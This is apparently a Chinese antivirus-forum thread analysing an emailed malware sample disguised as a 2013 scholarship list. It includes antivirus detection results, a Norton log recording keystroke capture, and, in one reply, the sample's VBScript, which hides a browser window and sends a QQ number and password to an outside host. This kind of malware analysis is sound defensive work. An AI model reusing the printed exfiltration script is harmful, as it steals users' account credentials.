2013年奖学金名单.7z__8%的杀软(3/37)报告发现病毒

迷惘的执著

邮箱里收到的

http://r.virscan.org/report/b05f2901a472e712e468e6239bc585d1.html

netvox

过微点，原来是粘虫

XywCloud

set ie=createobject("internetexplorer.application")
ie.visible=FALSE
ie.navigate("http://ueryrtew.gwrewt.net/ff47gdsb/find.asp?QQNumber=074419977&QQPassWord=074419887")
do until ie.readystate=4
loop
set ie=nothing

好熟悉的代码！
文件加壳情况：ASPack 2.12
脱壳前：
百度杀毒国际版加壳启发杀；超级巡警不杀
脱壳后：
百度杀毒国际版启发继续杀；超级巡警不杀

zdlzp

这个奇怪,监控报毒，忽略后主防啥都不报

没有登录QQ

zdlzp

netvox 发表于 2013-10-17 16:58
过微点

QQ粘虫，先登录QQ看看

jayavira

上报卡巴

netvox

zdlzp 发表于 2013-10-17 17:10
QQ粘虫，先登录QQ看看

我已经登入了QQ啊

消停

文件名: 2013年奖学金名单.exe
威胁名称: SONAR.Heuristic.110
完整路径: 不可用

____________________________



详细信息
少量用户信任的文件,  新建的文件,  风险 高





原始
下载自
 未知





活动
已执行的操作: 7



____________________________



在电脑上的创建时间 
2013-10-17 ( 17:39:58 )


上次使用时间 
2013-10-17 ( 17:39:58 )


启动项目 
否


已启动 
是


____________________________


少量用户信任的文件
诺顿社区中有 不到 50 名用户使用了此文件。

新建的文件
该文件已在  7 天 9 天 前发行。

高
此文件具有高风险。

SONAR 主动防护监视电脑上的可疑程序活动。



____________________________



来源: 外部介质



源文件:
winrar.exe




创建的文件:
2013年奖学金名单.exe




____________________________

文件操作

文件: f:\norton样本\2013年奖学金名单\ 2013年奖学金名单.exe 已删除
文件: c:\Users\administrator\AppData\LocalLow\SogouPY\components\ componentconfig.ini 已删除
事件: 正在运行进程: f:\norton样本\2013年奖学金名单\ 2013年奖学金名单.exe 已终止
____________________________

注册表操作

注册表更改: HKEY_USERS\S-1-5-21-1071228153-3121885108-811120218-500\Software\ SogouInput.user->SogouComponentFirstLoad:1382002786 已修复
____________________________

系统设置操作

事件: 进程启动 (执行者 f:\norton样本\2013年奖学金名单\2013年奖学金名单.exe, PID:3376) 未采取操作
事件: 进程启动: f:\norton样本\2013年奖学金名单\ 2013年奖学金名单.exe, PID:3376 (执行者 f:\norton样本\2013年奖学金名单\2013年奖学金名单.exe, PID:3376) 未采取操作
____________________________

可疑操作

事件: 击键捕获 (执行者 f:\norton样本\2013年奖学金名单\2013年奖学金名单.exe, PID:3376) 未采取操作
____________________________


文件指纹 - SHA:
不可用
文件指纹 - MD5:
不可用

沧海ふ无涯

把脚本删了居然无法运行，这是什么设计啊

minchaovip

咖啡居然没有报毒